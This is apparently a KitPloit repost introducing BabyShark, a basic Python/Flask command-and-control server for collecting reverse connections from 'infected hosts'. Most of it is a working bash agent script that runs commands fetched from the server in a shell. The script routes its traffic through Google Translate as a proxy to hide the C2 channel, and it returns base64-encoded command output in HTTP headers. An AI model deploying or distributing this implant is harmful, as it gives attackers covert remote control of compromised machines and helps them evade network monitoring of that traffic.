BabyShark – Basic C2 Server

This is a basic C2 generic server written in Python and Flask.
This code has based ideia to GTRS, which uses Google Translator as a proxy for sending commands to the infected host. The BabyShark project aims to centralize reverse connections with agents, creating a way to centralize several types of connections in one place.
BabyShark does not generate infection agents, but it does offer a template to connect to it.
INSTALL

git clone https://github.com/danilovazb/BabyShark/
cd BabyShark
mkdir database
sqlite3 database/c2.db < schema.sql

AGENTS MODEL

GTRS – https://github.com/mthbernardes/GTRS
This client example from GTRS for connect to BabyShark:

#!/bin/bash if [[ $# < 2 ]];then echo -e "Error\nExecute: $0 www.c2server.com secretkey-provided-by-the-server\n" exit
fi running=true
secretkey="b4bysh4rk"
user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
data="Content-Hype: "
c2server="http://babyshark/momyshark?key=$secretkey"
result=""
input="/tmp/input"
output="/tmp/output" function namedpipe(){ rm "$input" "$output" mkfifo "$input" tail -f "$input" | /bin/bash 2>&1 > $output &
} function getfirsturl(){ url="https://translate.google.com/translate?&anno=2&u=$c2server" first=$(curl --silent "$url" -H "$user_agent" | xmllint --html --xpath '//iframe/@src' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed ' s/amp;//g' )
} function getsecondurl(){ second=$(curl --silent -L "$first" -H "$user_agent" | xmllint --html --xpath '//a/@href' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g')
} function getcommand(){ if [[ "$result" ]];then command=$(curl --silent $second -H "$result" ) else command=$(curl --silent $second -H "$user_agent" ) command1=$(echo "$command" | xmllint --html --xpath '//span[@class="google-src-text"]/text()' - 2>/dev/null) command2=$(echo "$command" | xmllint --html --xpath '/html/body/main/div/div/div/div/ul/li/span/text()' - 2>/dev/null ) if [[ "$command1" ]];then command="$command1" else command="$command2" fi fi
} function talktotranslate(){ getfirsturl getsecondurl getcommand
} function main(){ result="" sleep 10 talktotranslate if [[ "$command " ]];then if [[ "$command" == "exit" ]];then running=false fi echo $command echo -n > $output idcommand=$(echo $command | cut -d '#' -f2) echo "$command" > "$input" sleep 2 outputb64=$(cat $output | tr -d '\000' | base64 | tr -d '\n' 2>/dev/null) if [[ "$outputb64" ]];then result="$user_agent | $outputb64 | $idcommand " talktotranslate fi fi
} namedpipe
while "$running";do main
done

NEXT STEPS

  • SSH Reverse
  • DNS
  • DOH
  • HTTPS
  • HTTP3
  • ICMP
  • QUIC


Source: KitPloit

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